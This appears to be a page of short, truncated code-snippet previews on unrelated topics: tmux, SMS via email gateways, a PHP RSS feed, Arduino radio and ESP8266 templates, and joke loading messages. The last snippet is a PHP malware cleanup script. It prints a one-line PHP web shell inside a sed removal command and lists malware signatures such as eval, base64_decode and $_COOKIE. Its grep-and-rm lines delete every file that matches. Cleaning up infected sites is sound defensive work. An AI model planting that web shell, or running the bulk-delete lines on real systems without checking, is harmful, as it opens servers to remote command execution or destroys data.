start new:
tmux
start new with session name:
tmux new -s myname
| # sms.py | |
| # Sends sms message to any cell phone using gmail smtp gateway | |
| # Written by Alex Le | |
| import smtplib | |
| # Use sms gateway provided by mobile carrier: | |
| # at&t: [email protected] | |
| # t-mobile: [email protected] | |
| # verizon: [email protected] |
| <?php | |
| header('Content-type: text/xml'); | |
| /* | |
| Runs from a directory containing files to provide an | |
| RSS 2.0 feed that contains the list and modification times for all the | |
| files. | |
| */ | |
| $feedName = "My Audio Feed"; | |
| $feedDesc = "Feed for the my audio files in some server folder"; |
| /* | |
| * A rather simple way of testing out SwampDragon. | |
| * Create a load of connections, connect, subscriber, update and count the number | |
| * of published messages. | |
| * | |
| * SETUP: | |
| * 1. npm install sockjs-client-node | |
| * 2. curl https://raw.githubusercontent.com/jonashagstedt/swampdragon/master/swampdragon/static/swampdragon/js/swampdragon.js > swampdragon.js | |
| * 3. Set router_name to the name of your router. | |
| * 4. Change "sd.update_object(router_name, { value: val }, 'foo');" to call |
| #include <SPI.h> | |
| #include <nRF24L01.h> | |
| #include <RF24.h> | |
| #define DEVICE_ID 2 | |
| #define CHANNEL 1 //MAX 127 | |
| RF24 radio(15, 15); // Set up nRF24L01 radio on SPI bus plus pins 7 & 8 | |
| // Topology | |
| const uint64_t pipes[2] = { 0xFFFFFFFFFFLL, 0xCCCCCCCCCCLL }; |
| /** | |
| * ESP8266 project template with optional: | |
| * - WiFi config portal - auto or manual trigger | |
| * - OTA update - Arduino or web server | |
| * - Deep sleep | |
| * - Process timeout watchdog | |
| * | |
| * Copyright (c) 2016 Dean Cording <[email protected]> | |
| * | |
| * Permission is hereby granted, free of charge, to any person obtaining a copy |
| export default [ | |
| "Reticulating splines...", | |
| "Generating witty dialog...", | |
| "Swapping time and space...", | |
| "Spinning violently around the y-axis...", | |
| "Tokenizing real life...", | |
| "Bending the spoon...", | |
| "Filtering morale...", | |
| "Don't think of purple hippos...", | |
| "We need a new fuse...", |
| find . -type f -iname '*.php' -exec sed -i 's/<?php if (isset(\$_GET\["_cmd"\])) die(passthru(\$_GET\["_cmd"\])); ?>//g' "{}" +; | |
| find . -iname 'index.php' | xargs grep '\x2fhom' | cut -f1 -d":" | xargs rm | |
| find . -iname '*.php' | xargs grep '\x2fh' | cut -f1 -d":" | xargs rm | |
| find . -iname '*.php' | xargs grep 'eval("' | grep 337 | cut -f1 -d":" | xargs rm | |
| find . -iname '*.php' | xargs grep '\{eval(' | cut -f1 -d":" | xargs rm | |
| find . -iname '*.php' | xargs grep '$_COOKIE;' | cut -f1 -d":" | xargs rm | |
| find . -iname '*.php' | xargs grep 'create_function'|grep base64_decode| cut -f1 -d":"| xargs rm |